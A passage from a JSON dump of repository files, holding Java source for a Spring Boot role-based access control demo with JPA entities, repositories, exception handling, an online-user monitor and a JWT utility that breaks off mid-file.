kickoutOnlineUser(@RequestBody List<String> names) {\n        if (CollUtil.isEmpty(names)) {\n            throw new SecurityException(Status.PARAM_NOT_NULL);\n        }\n        if (names.contains(SecurityUtil.getCurrentUsername())){\n            throw new SecurityException(Status.KICKOUT_SELF);\n        }\n        monitorService.kickout(names);\n        return ApiResponse.ofSuccess();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/controller/TestController.java",
    "content": "package com.jun.plugin.rbac.security.controller;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.rbac.security.common.ApiResponse;\n\n/**\n * <p>\n * 测试Controller\n * </p>\n *\n * @package: com.xkcoding.rbac.security.controller\n * @description: 测试Controller\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:44\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/test\")\npublic class TestController {\n    @GetMapping\n    public ApiResponse list() {\n        log.info(\"测试列表查询\");\n        return ApiResponse.ofMessage(\"测试列表查询\");\n    }\n\n    @PostMapping\n    public ApiResponse add() {\n        log.info(\"测试列表添加\");\n        return ApiResponse.ofMessage(\"测试列表添加\");\n    }\n\n    @PutMapping(\"/{id}\")\n    public ApiResponse update(@PathVariable Long id) {\n        log.info(\"测试列表修改\");\n        return ApiResponse.ofSuccess(\"测试列表修改\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/exception/SecurityException.java",
    "content": "package com.jun.plugin.rbac.security.exception;\n\nimport com.jun.plugin.rbac.security.common.BaseException;\nimport com.jun.plugin.rbac.security.common.Status;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\n/**\n * <p>\n * 全局异常\n * </p>\n *\n * @package: com.xkcoding.rbac.security.exception\n * @description: 全局异常\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 17:24\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\npublic class SecurityException extends BaseException {\n    public SecurityException(Status status) {\n        super(status);\n    }\n\n    public SecurityException(Status status, Object data) {\n        super(status, data);\n    }\n\n    public SecurityException(Integer code, String message) {\n        super(code, message);\n    }\n\n    public SecurityException(Integer code, String message, Object data) {\n        super(code, message, data);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/exception/handler/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.rbac.security.exception.handler;\n\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.json.JSONUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.http.converter.HttpMessageNotReadableException;\nimport org.springframework.security.authentication.BadCredentialsException;\nimport org.springframework.security.authentication.DisabledException;\nimport org.springframework.web.HttpRequestMethodNotSupportedException;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ControllerAdvice;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.method.annotation.MethodArgumentTypeMismatchException;\nimport org.springframework.web.servlet.NoHandlerFoundException;\n\nimport com.jun.plugin.rbac.security.common.ApiResponse;\nimport com.jun.plugin.rbac.security.common.BaseException;\nimport com.jun.plugin.rbac.security.common.Status;\n\nimport javax.validation.ConstraintViolationException;\n\n/**\n * <p>\n * 全局统一异常处理\n * </p>\n *\n * @package: com.xkcoding.rbac.security.exception.handler\n * @description: 全局统一异常处理\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 17:00\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@ControllerAdvice\n@Slf4j\npublic class GlobalExceptionHandler {\n\n    @ExceptionHandler(value = Exception.class)\n    @ResponseBody\n    public ApiResponse handlerException(Exception e) {\n        if (e instanceof NoHandlerFoundException) {\n            log.error(\"【全局异常拦截】NoHandlerFoundException: 请求方法 {}, 请求路径 {}\", ((NoHandlerFoundException) e).getRequestURL(), ((NoHandlerFoundException) e).getHttpMethod());\n            return ApiResponse.ofStatus(Status.REQUEST_NOT_FOUND);\n        } else if (e instanceof HttpRequestMethodNotSupportedException) {\n            log.error(\"【全局异常拦截】HttpRequestMethodNotSupportedException: 当前请求方式 {}, 支持请求方式 {}\", ((HttpRequestMethodNotSupportedException) e).getMethod(), JSONUtil.toJsonStr(((HttpRequestMethodNotSupportedException) e).getSupportedHttpMethods()));\n            return ApiResponse.ofStatus(Status.HTTP_BAD_METHOD);\n        } else if (e instanceof MethodArgumentNotValidException) {\n            log.error(\"【全局异常拦截】MethodArgumentNotValidException\", e);\n            return ApiResponse.of(Status.BAD_REQUEST.getCode(), ((MethodArgumentNotValidException) e).getBindingResult()\n                    .getAllErrors()\n                    .get(0)\n                    .getDefaultMessage(), null);\n        } else if (e instanceof ConstraintViolationException) {\n            log.error(\"【全局异常拦截】ConstraintViolationException\", e);\n            return ApiResponse.of(Status.BAD_REQUEST.getCode(), CollUtil.getFirst(((ConstraintViolationException) e).getConstraintViolations())\n                    .getMessage(), null);\n        } else if (e instanceof MethodArgumentTypeMismatchException) {\n            log.error(\"【全局异常拦截】MethodArgumentTypeMismatchException: 参数名 {}, 异常信息 {}\", ((MethodArgumentTypeMismatchException) e).getName(), ((MethodArgumentTypeMismatchException) e).getMessage());\n            return ApiResponse.ofStatus(Status.PARAM_NOT_MATCH);\n        } else if (e instanceof HttpMessageNotReadableException) {\n            log.error(\"【全局异常拦截】HttpMessageNotReadableException: 错误信息 {}\", ((HttpMessageNotReadableException) e).getMessage());\n            return ApiResponse.ofStatus(Status.PARAM_NOT_NULL);\n        } else if (e instanceof BadCredentialsException) {\n            log.error(\"【全局异常拦截】BadCredentialsException: 错误信息 {}\", e.getMessage());\n            return ApiResponse.ofStatus(Status.USERNAME_PASSWORD_ERROR);\n        } else if (e instanceof DisabledException) {\n            log.error(\"【全局异常拦截】BadCredentialsException: 错误信息 {}\", e.getMessage());\n            return ApiResponse.ofStatus(Status.USER_DISABLED);\n        } else if (e instanceof BaseException) {\n            log.error(\"【全局异常拦截】DataManagerException: 状态码 {}, 异常信息 {}\", ((BaseException) e).getCode(), e.getMessage());\n            return ApiResponse.ofException((BaseException) e);\n        }\n\n        log.error(\"【全局异常拦截】: 异常信息 {} \", e.getMessage());\n        return ApiResponse.ofStatus(Status.ERROR);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/Permission.java",
    "content": "package com.jun.plugin.rbac.security.model;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n/**\n * <p>\n * 权限\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model\n * @description: 权限\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:04\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"sec_permission\")\npublic class Permission {\n    /**\n     * 主键\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 权限名\n     */\n    private String name;\n\n    /**\n     * 类型为页面时，代表前端路由地址，类型为按钮时，代表后端接口地址\n     */\n    private String url;\n\n    /**\n     * 权限类型，页面-1，按钮-2\n     */\n    private Integer type;\n\n    /**\n     * 权限表达式\n     */\n    private String permission;\n\n    /**\n     * 后端接口访问方式\n     */\n    private String method;\n\n    /**\n     * 排序\n     */\n    private Integer sort;\n\n    /**\n     * 父级id\n     */\n    @Column(name = \"parent_id\")\n    private Long parentId;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/Role.java",
    "content": "package com.jun.plugin.rbac.security.model;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n/**\n * <p>\n * 角色\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model\n * @description: 角色\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 15:45\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"sec_role\")\npublic class Role {\n    /**\n     * 主键\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 角色名\n     */\n    private String name;\n\n    /**\n     * 描述\n     */\n    private String description;\n\n    /**\n     * 创建时间\n     */\n    @Column(name = \"create_time\")\n    private Long createTime;\n\n    /**\n     * 更新时间\n     */\n    @Column(name = \"update_time\")\n    private Long updateTime;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/RolePermission.java",
    "content": "package com.jun.plugin.rbac.security.model;\n\nimport lombok.Data;\n\nimport javax.persistence.EmbeddedId;\nimport javax.persistence.Entity;\nimport javax.persistence.Table;\n\nimport com.jun.plugin.rbac.security.model.unionkey.RolePermissionKey;\n\n/**\n * <p>\n * 角色-权限\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model\n * @description: 角色-权限\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 13:46\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"sec_role_permission\")\npublic class RolePermission {\n    /**\n     * 主键\n     */\n    @EmbeddedId\n    private RolePermissionKey id;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/User.java",
    "content": "package com.jun.plugin.rbac.security.model;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\n/**\n * <p>\n * 用户\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model\n * @description: 用户\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:00\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"sec_user\")\npublic class User {\n\n    /**\n     * 主键\n     */\n    @Id\n    private Long id;\n\n    /**\n     * 用户名\n     */\n    private String username;\n\n    /**\n     * 密码\n     */\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickname;\n\n    /**\n     * 手机\n     */\n    private String phone;\n\n    /**\n     * 邮箱\n     */\n    private String email;\n\n    /**\n     * 生日\n     */\n    private Long birthday;\n\n    /**\n     * 性别，男-1，女-2\n     */\n    private Integer sex;\n\n    /**\n     * 状态，启用-1，禁用-0\n     */\n    private Integer status;\n\n    /**\n     * 创建时间\n     */\n    @Column(name = \"create_time\")\n    private Long createTime;\n\n    /**\n     * 更新时间\n     */\n    @Column(name = \"update_time\")\n    private Long updateTime;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/UserRole.java",
    "content": "package com.jun.plugin.rbac.security.model;\n\nimport lombok.Data;\n\nimport javax.persistence.EmbeddedId;\nimport javax.persistence.Entity;\nimport javax.persistence.Table;\n\nimport com.jun.plugin.rbac.security.model.unionkey.UserRoleKey;\n\n/**\n * <p>\n * 用户角色关联\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model\n * @description: 用户角色关联\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:18\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Entity\n@Table(name = \"sec_user_role\")\npublic class UserRole {\n    /**\n     * 主键\n     */\n    @EmbeddedId\n    private UserRoleKey id;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/unionkey/RolePermissionKey.java",
    "content": "package com.jun.plugin.rbac.security.model.unionkey;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Embeddable;\nimport java.io.Serializable;\n\n/**\n * <p>\n * 角色-权限联合主键\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model.unionkey\n * @description: 角色-权限联合主键\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 13:47\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@Embeddable\npublic class RolePermissionKey implements Serializable {\n    private static final long serialVersionUID = 6850974328279713855L;\n\n    /**\n     * 角色id\n     */\n    @Column(name = \"role_id\")\n    private Long roleId;\n\n    /**\n     * 权限id\n     */\n    @Column(name = \"permission_id\")\n    private Long permissionId;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/model/unionkey/UserRoleKey.java",
    "content": "package com.jun.plugin.rbac.security.model.unionkey;\n\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Embeddable;\nimport java.io.Serializable;\n\n/**\n * <p>\n * 用户-角色联合主键\n * </p>\n *\n * @package: com.xkcoding.rbac.security.model.unionkey\n * @description: 用户-角色联合主键\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:20\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Embeddable\n@Data\npublic class UserRoleKey implements Serializable {\n    private static final long serialVersionUID = 5633412144183654743L;\n    \n    /**\n     * 用户id\n     */\n    @Column(name = \"user_id\")\n    private Long userId;\n\n    /**\n     * 角色id\n     */\n    @Column(name = \"role_id\")\n    private Long roleId;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/payload/LoginRequest.java",
    "content": "package com.jun.plugin.rbac.security.payload;\n\nimport lombok.Data;\n\nimport javax.validation.constraints.NotBlank;\n\n/**\n * <p>\n * 登录请求参数\n * </p>\n *\n * @package: com.xkcoding.rbac.security.payload\n * @description: 登录请求参数\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 15:52\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class LoginRequest {\n\n    /**\n     * 用户名或邮箱或手机号\n     */\n    @NotBlank(message = \"用户名不能为空\")\n    private String usernameOrEmailOrPhone;\n\n    /**\n     * 密码\n     */\n    @NotBlank(message = \"密码不能为空\")\n    private String password;\n\n    /**\n     * 记住我\n     */\n    private Boolean rememberMe = false;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/payload/PageCondition.java",
    "content": "package com.jun.plugin.rbac.security.payload;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 分页请求参数\n * </p>\n *\n * @package: com.xkcoding.rbac.security.payload\n * @description: 分页请求参数\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 18:05\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class PageCondition {\n    /**\n     * 当前页码\n     */\n    private Integer currentPage;\n\n    /**\n     * 每页条数\n     */\n    private Integer pageSize;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/repository/PermissionDao.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.JpaSpecificationExecutor;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.data.repository.query.Param;\n\nimport com.jun.plugin.rbac.security.model.Permission;\n\nimport java.util.List;\n\n/**\n * <p>\n * 权限 DAO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 权限 DAO\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:21\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface PermissionDao extends JpaRepository<Permission, Long>, JpaSpecificationExecutor<Permission> {\n\n    /**\n     * 根据角色列表查询权限列表\n     *\n     * @param ids 角色id列表\n     * @return 权限列表\n     */\n    @Query(value = \"SELECT DISTINCT sec_permission.* FROM sec_permission,sec_role,sec_role_permission WHERE sec_role.id = sec_role_permission.role_id AND sec_permission.id = sec_role_permission.permission_id AND sec_role.id IN (:ids)\", nativeQuery = true)\n    List<Permission> selectByRoleIdList(@Param(\"ids\") List<Long> ids);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/repository/RoleDao.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.JpaSpecificationExecutor;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.data.repository.query.Param;\n\nimport com.jun.plugin.rbac.security.model.Role;\n\nimport java.util.List;\n\n/**\n * <p>\n * 角色 DAO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 角色 DAO\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:20\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface RoleDao extends JpaRepository<Role, Long>, JpaSpecificationExecutor<Role> {\n    /**\n     * 根据用户id 查询角色列表\n     *\n     * @param userId 用户id\n     * @return 角色列表\n     */\n    @Query(value = \"SELECT sec_role.* FROM sec_role,sec_user,sec_user_role WHERE sec_user.id = sec_user_role.user_id AND sec_role.id = sec_user_role.role_id AND sec_user.id = :userId\", nativeQuery = true)\n    List<Role> selectByUserId(@Param(\"userId\") Long userId);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/repository/RolePermissionDao.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.JpaSpecificationExecutor;\n\nimport com.jun.plugin.rbac.security.model.RolePermission;\nimport com.jun.plugin.rbac.security.model.unionkey.RolePermissionKey;\n\n/**\n * <p>\n * 角色-权限 DAO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 角色-权限 DAO\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 13:45\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface RolePermissionDao extends JpaRepository<RolePermission, RolePermissionKey>, JpaSpecificationExecutor<RolePermission> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/repository/UserDao.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.JpaSpecificationExecutor;\n\nimport com.jun.plugin.rbac.security.model.User;\n\nimport java.util.List;\nimport java.util.Optional;\n\n/**\n * <p>\n * 用户 DAO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 用户 DAO\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 16:18\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface UserDao extends JpaRepository<User, Long>, JpaSpecificationExecutor<User> {\n    /**\n     * 根据用户名、邮箱、手机号查询用户\n     *\n     * @param username 用户名\n     * @param email    邮箱\n     * @param phone    手机号\n     * @return 用户信息\n     */\n    Optional<User> findByUsernameOrEmailOrPhone(String username, String email, String phone);\n\n    /**\n     * 根据用户名列表查询用户列表\n     *\n     * @param usernameList 用户名列表\n     * @return 用户列表\n     */\n    List<User> findByUsernameIn(List<String> usernameList);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/repository/UserRoleDao.java",
    "content": "package com.jun.plugin.rbac.security.repository;\n\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.JpaSpecificationExecutor;\n\nimport com.jun.plugin.rbac.security.model.UserRole;\nimport com.jun.plugin.rbac.security.model.unionkey.UserRoleKey;\n\n/**\n * <p>\n * 用户角色 DAO\n * </p>\n *\n * @package: com.xkcoding.rbac.security.repository\n * @description: 用户角色 DAO\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 11:24\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface UserRoleDao extends JpaRepository<UserRole, UserRoleKey>, JpaSpecificationExecutor<UserRole> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/service/CustomUserDetailsService.java",
    "content": "package com.jun.plugin.rbac.security.service;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.core.userdetails.UsernameNotFoundException;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.rbac.security.model.Permission;\nimport com.jun.plugin.rbac.security.model.Role;\nimport com.jun.plugin.rbac.security.model.User;\nimport com.jun.plugin.rbac.security.repository.PermissionDao;\nimport com.jun.plugin.rbac.security.repository.RoleDao;\nimport com.jun.plugin.rbac.security.repository.UserDao;\nimport com.jun.plugin.rbac.security.vo.UserPrincipal;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 自定义UserDetails查询\n * </p>\n *\n * @package: com.xkcoding.rbac.security.service\n * @description: 自定义UserDetails查询\n * @author: yangkai.shen\n * @date: Created in 2018-12-10 10:29\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\npublic class CustomUserDetailsService implements UserDetailsService {\n    @Autowired\n    private UserDao userDao;\n\n    @Autowired\n    private RoleDao roleDao;\n\n    @Autowired\n    private PermissionDao permissionDao;\n\n    @Override\n    public UserDetails loadUserByUsername(String usernameOrEmailOrPhone) throws UsernameNotFoundException {\n        User user = userDao.findByUsernameOrEmailOrPhone(usernameOrEmailOrPhone, usernameOrEmailOrPhone, usernameOrEmailOrPhone)\n                .orElseThrow(() -> new UsernameNotFoundException(\"未找到用户信息 : \" + usernameOrEmailOrPhone));\n        List<Role> roles = roleDao.selectByUserId(user.getId());\n        List<Long> roleIds = roles.stream()\n                .map(Role::getId)\n                .collect(Collectors.toList());\n        List<Permission> permissions = permissionDao.selectByRoleIdList(roleIds);\n        return UserPrincipal.create(user, roles, permissions);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/service/MonitorService.java",
    "content": "package com.jun.plugin.rbac.security.service;\n\nimport cn.hutool.core.util.StrUtil;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.common.PageResult;\nimport com.jun.plugin.rbac.security.model.User;\nimport com.jun.plugin.rbac.security.payload.PageCondition;\nimport com.jun.plugin.rbac.security.repository.UserDao;\nimport com.jun.plugin.rbac.security.util.RedisUtil;\nimport com.jun.plugin.rbac.security.util.SecurityUtil;\nimport com.jun.plugin.rbac.security.vo.OnlineUser;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * 监控 Service\n * </p>\n *\n * @package: com.xkcoding.rbac.security.service\n * @description: 监控 Service\n * @author: yangkai.shen\n * @date: Created in 2018-12-12 00:55\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@Service\npublic class MonitorService {\n    @Autowired\n    private RedisUtil redisUtil;\n\n    @Autowired\n    private UserDao userDao;\n\n    /**\n     * 在线用户分页列表\n     *\n     * @param pageCondition 分页参数\n     * @return 在线用户分页列表\n     */\n    public PageResult<OnlineUser> onlineUser(PageCondition pageCondition) {\n        PageResult<String> keys = redisUtil.findKeysForPage(Consts.REDIS_JWT_KEY_PREFIX + Consts.SYMBOL_STAR, pageCondition.getCurrentPage(), pageCondition.getPageSize());\n        List<String> rows = keys.getRows();\n        Long total = keys.getTotal();\n\n        // 根据 redis 中键获取用户名列表\n        List<String> usernameList = rows.stream()\n                .map(s -> StrUtil.subAfter(s, Consts.REDIS_JWT_KEY_PREFIX, true))\n                .collect(Collectors.toList());\n        // 根据用户名查询用户信息\n        List<User> userList = userDao.findByUsernameIn(usernameList);\n\n        // 封装在线用户信息\n        List<OnlineUser> onlineUserList = Lists.newArrayList();\n        userList.forEach(user -> onlineUserList.add(OnlineUser.create(user)));\n\n        return new PageResult<>(onlineUserList, total);\n    }\n\n    /**\n     * 踢出在线用户\n     *\n     * @param names 用户名列表\n     */\n    public void kickout(List<String> names) {\n        // 清除 Redis 中的 JWT 信息\n        List<String> redisKeys = names.parallelStream()\n                .map(s -> Consts.REDIS_JWT_KEY_PREFIX + s)\n                .collect(Collectors.toList());\n        redisUtil.delete(redisKeys);\n\n        // 获取当前用户名\n        String currentUsername = SecurityUtil.getCurrentUsername();\n        names.parallelStream()\n                .forEach(name -> {\n                    // TODO: 通知被踢出的用户已被当前登录用户踢出，\n                    //  后期考虑使用 websocket 实现，具体伪代码实现如下。\n                    //  String message = \"您已被用户【\" + currentUsername + \"】手动下线！\";\n                    log.debug(\"用户【{}】被用户【{}】手动下线！\", name, currentUsername);\n                });\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_rbac_security/src/main/java/com/jun/plugin/rbac/security/util/JwtUtil.java",
    "content": "package com.jun.plugin.rbac.security.util;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.util.StrUtil;\nimport io.jsonwebtoken.*;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.core.GrantedAuthority;\n\nimport com.jun.plugin.rbac.security.common.Consts;\nimport com.jun.plugin.rbac.security.common.Status;\nimport com.jun.plugin.rbac.security.config.JwtConfig;\nimport com.jun.plugin.rbac.security.exception.SecurityException;\nimport com.jun.plugin.rbac.security.vo.UserPrincipal;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * JWT 工具类\n * </p>\n *\n * @package: com.xkcoding.rbac.security.util\n * @description: JWT 工具类\n * @author: yangkai.shen\n * @date: Created in 2018-12-07 13:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@EnableConfigurationProperties(JwtConfig.class)\n@Configuration\n@Slf4j\npublic class JwtUtil {\n    @Autowired\n    private JwtConfig jwtConfig;\n\n    @Autowired\n    private StringRedisTemplate stringRedisTemplate;\n\n    /**\n     * 创建JWT\n     *\n     * @param rememberMe  记住我\n     * @param id          用户id\n     * @param subject     用户名\n     * @param roles       用户角色\n     * @param authorities 用户权限\n     * @return JWT\n     */\n    public String createJWT(Boolean rememberMe, Long id, String subject, List<String> roles, Collection<? extends GrantedAuthority> authorities) {\n        Date now = new Date();\n        JwtBuilder builder = Jwts.builder()\n                .setId(id.toString())\n                .setSubject(subject)\n                .setIssuedAt(now)\n                .signWith(SignatureAlgorithm.HS256, jwtConfig.getKey())\n                .claim(\"roles\", roles)\n                .claim(\"authorities\", authorities);\n\n        // 设置过期时间\n        Long ttl = rememberMe ? jwtConfig.getRemember() : jwtConfig.getTtl();\n        if (ttl > 0) {\n            builder.setExpiration(DateUtil.offsetMillisecond(now, ttl.intValue()));\n        }\n\n        String jwt = builder.compact();\n        // 将生成的JWT保存至Redis\n        stringRedisTemplate.opsForValue()\n                .set(Consts.REDIS_JWT_KEY_PREFIX + subject, jwt, ttl, TimeUnit.MILLISECONDS);\n        return jwt;\n    }\n\n    /**\n     * 创建JWT\n     *\n     * @param authentication 用户认证信息\n     * @param rememberMe     记住我\n     * @return JWT\n     */\n    public String createJWT(Authentication authentication, Boolean rememberMe) {\n        UserPrincipal userPrincipal = (UserPrincipal) authentication.getPrincipal();\n        return createJWT(rememberMe, userPrincipal.getId(), userPrincipal.getUsername(), userPrincipal.getRoles(), userPrincipal.getAuthorities());\n    }\n\n    /**\n     * 解析JWT\n     *\n     * @param jwt JWT\n     * @return {@link Claims}\n     */\n    public Claims parseJWT(String jwt) {\n        try {\n            Claims claims = Jwts.parser()\n                    .setSigningKey(jwtConfig.getKey())\n                    .parseClaimsJws(jwt)\n                    .getBody();\n\n            String username = claims.getSubject();\n            String redisKey = Consts.REDIS_JWT_KEY_PREFIX + username;\n\n            // 校验redis中的JWT是否存在\n            Long expire = stringRedisTemplate.getExpire(redisKey, TimeUnit.MILLISECONDS);\n            if (Objects.isNull(expire) || expire <= 0) {\n                throw new SecurityException(Status.TOKEN_EXPIRED);\n            }\n\n            // 校验redis中的JWT是否与当前的一致，不一致则代表用户已注销/用户在不同设备登录，均代表JWT已过期\n            String redisToken = stringRedisTemplate.opsForValue()\n                    .get(redisKey);\n            if (!StrUtil.equals(jwt, redisToken)) {\n                throw new SecurityException(Status.TOKEN_OUT_OF_CTRL);\n            }\n            return claims;\n        } catch (ExpiredJwtException e) {\n            log.error(\"Token 已过期\");\n            throw new SecurityException(Status.TOKEN_EXPIRED);\n        } catch (UnsupportedJwtException e) {\n            log.error(\"不支持的 